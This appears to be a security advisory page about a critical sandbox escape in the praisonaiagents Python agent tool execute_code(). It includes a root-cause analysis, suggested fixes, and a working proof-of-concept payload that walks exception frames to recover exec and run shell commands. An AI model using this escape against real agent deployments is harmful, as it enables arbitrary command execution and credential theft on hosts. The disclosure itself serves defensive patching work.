CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
4DescriptionNVD
Summary
execute_code() in praisonaiagents.tools.python_tools defaults to sandbox_mode="sandbox", which runs user code in a subprocess wrapped with a restricted __builtins__ dict and an AST-based blocklist. The AST blocklist embedded inside the subprocess wrapper (blocked_attrs, line 143 of python_tools.py) contains only 11 attribute names - a strict subset of the 30+ names blocked in the direct-execution path. The four attributes that form a frame-traversal chain out of the sandbox are all absent from the subprocess list:
| Attribute | In subprocess blocked_attrs | In direct-mode _blocked_attrs |
|---|---|---|
__traceback__ | NO | YES |
tb_frame | NO | YES |
f_back | NO | YES |
f_builtins | NO | YES |
Chaining these attributes through a caught exception exposes the real Python builtins dict of the subprocess wrapper frame, from which exec can be retrieved and called under a non-blocked variable name - bypassing every remaining security layer.
Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.
---
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - 9.9 Critical
| Vector | Value | Rationale |
|---|---|---|
| AV:N | Network | execute_code is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |
| AC:L | Low | No race conditions or special configuration required |
| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |
| UI:N | None | No victim interaction |
| S:C | Changed | Escapes subprocess sandbox into full host process context |
| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |
| I:H | High | Arbitrary file write, arbitrary code execution on host |
| A:H | High | Can terminate processes, exhaust resources |
---
Affected
- Package:
praisonaiagents(PyPI) - Affected versions: all versions shipping
sandbox_mode="sandbox"(default since introduction) through 1.5.113 - Patched versions: none at time of report
- File:
praisonaiagents/tools/python_tools.py
---
Root Cause
Two separate blocked_attrs sets - one much weaker than the other
_validate_code_ast() (line 39, used by direct mode) blocks 30+ attributes:
# python_tools.py line 52 - direct mode (FULL list, correctly includes frame attrs)
_blocked_attrs = frozenset({
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__',
# ← present here
'__wrapped__', '__closure__', '__annotations__',
'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
# ← present here
'f_globals', 'f_locals', 'f_builtins', 'f_code',
# ← present here
'co_consts', 'co_names',
})The subprocess wrapper script written to disk (line 143) uses a separate, inline blocked_attrs with only 11 entries - the frame-traversal attrs are missing:
# python_tools.py line 143 - subprocess wrapper (SHORT list, MISSING frame attrs)
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__'
# __traceback__, tb_frame, f_back, f_builtins - all absent
}_safe_getattr does not protect direct dot-notation access
_safe_getattr replaces the getattr builtin and blocks attribute names starting with _. However, it is only invoked when user code explicitly calls getattr(obj, name). Direct attribute access (obj.attr in source) uses Python's C-level tp_getattro slot and never passes through _safe_getattr. The AST check is therefore the only barrier to direct attribute access, and it is insufficient.
No text-pattern blocklist in subprocess mode
_execute_code_direct applies a text-pattern blocklist (dangerous_patterns) as a defence-in-depth layer. _execute_code_sandboxed has no such layer - only the AST check runs.
---
Proof of Concept
import os
os.environ["PRAISONAI_AUTO_APPROVE"] = "true"
from praisonaiagents.tools.python_tools import execute_code
CMD = "id"
# any shell command
payload = f"""
try:
1/0
except ZeroDivisionError as e:
_p = e.__traceback__.tb_frame.f_back
_x = _p.f_builtins["exec"]
_x("import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())",
{{"__builtins__": _p.f_builtins}})
"""
result = execute_code(code=payload)
print(result["stdout"])Output (praisonaiagents 1.5.113, Python 3.10):
uid=1000(user) gid=1000(user) groups=1000(user)<img width="775" height="429" alt="image" src="https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf" />
Why each defence is bypassed:
| Layer | Status | Reason |
|---|---|---|
AST blocked_attrs | BYPASSED | __traceback__, tb_frame, f_back, f_builtins not in 11-item subprocess list |
_safe_getattr | BYPASSED | Only intercepts getattr() calls; dot notation uses C-level tp_getattro |
exec-by-name AST check | BYPASSED | Called as _x(...) - func.id is '_x', not 'exec' |
| Text-pattern blocklist | N/A | Does not exist in subprocess mode |
| Subprocess process isolation | BYPASSED | Frame traversal reaches real builtins *within* the subprocess |
---
Attack Chain
execute_code(payload)
└─ _execute_code_sandboxed()
└─ subprocess: exec(user_code, safe_globals)
└─ user_code raises ZeroDivisionError
└─ e.__traceback__ ← __traceback__ not in blocked_attrs
└─ .tb_frame ← tb_frame not in blocked_attrs
└─ .f_back ← f_back not in blocked_attrs
└─ .f_builtins ← f_builtins not in blocked_attrs
└─ ["exec"] ← dict subscript, no attr check
└─ _x("import subprocess; ...")
└─ RCE---
Impact
Any application that exposes execute_code to user-controlled or LLM-generated input - including all standard PraisonAI agent deployments - is fully compromised by a single API call:
- Arbitrary command execution on the host (in the subprocess user context)
- File system read/write - source code, credentials,
.envfiles, SSH keys - Environment variable exfiltration - API keys, secrets passed to the agent process
- Network access - outbound connections to attacker infrastructure unaffected by
env={} - Lateral movement - the subprocess inherits the host's network stack and filesystem
---
Suggested Fix
1. Merge blocked_attrs into a single shared constant
The subprocess wrapper must use the same attribute blocklist as the direct mode. Replace the inline blocked_attrs in the wrapper template with the full set:
# Add to subprocess wrapper template (python_tools.py ~line 143):
blocked_attrs = {
'__subclasses__', '__bases__', '__mro__', '__globals__',
'__code__', '__class__', '__dict__', '__builtins__',
'__import__', '__loader__', '__spec__', '__init_subclass__',
'__set_name__', '__reduce__', '__reduce_ex__',
'__traceback__', '__qualname__', '__module__',
# ← ADD
'__wrapped__', '__closure__', '__annotations__',
# ← ADD
'gi_frame', 'gi_code', 'cr_frame', 'cr_code',
# ← ADD
'ag_frame', 'ag_code', 'tb_frame', 'tb_next',
# ← ADD
'f_globals', 'f_locals', 'f_builtins', 'f_code',
# ← ADD
'co_consts', 'co_names',
# ← ADD
}2. Block all _-prefixed attribute access at AST level
_safe_getattr only covers getattr() calls. Add a blanket AST rule to block any ast.Attribute node whose attr starts with _:
if isinstance(node, ast.Attribute) and node.attr.startswith('_'):
return f"Access to private attribute '{node.attr}' is restricted"3. Add the text-pattern layer to subprocess mode
Mirror _execute_code_direct's dangerous_patterns check in _execute_code_sandboxed as defence-in-depth.
---
References
- Affected file:
praisonaiagents/tools/python_tools.py(PyPI:praisonaiagents) - CWE-693: Protection Mechanism Failure
- CWE-657: Violation of Secure Design Principles
AnalysisAI
Remote code execution in praisonaiagents (all versions through 1.5.113) allows authenticated users to escape the Python subprocess sandbox and execute arbitrary shell commands on the host. The vulnerability exists in the execute_code() tool's sandbox mode, where an incomplete AST attribute blocklist permits frame traversal through exception objects (__traceback__, tb_frame, f_back, f_builtins). …
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RemediationAI
Within 24 hours: Immediately disable or isolate all PraisonAI Agents instances from production environments and restrict API access to zero users pending mitigation. Within 7 days: Contact PraisonAI vendor to confirm patch ETA and interim security build availability; implement network segmentation to restrict agent process privileges to minimal required permissions using OS-level controls (SELinux, AppArmor, or containerization). …
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Leaving vuln.today
EUVD-2026-20635
GHSA-qf73-2hrx-xprp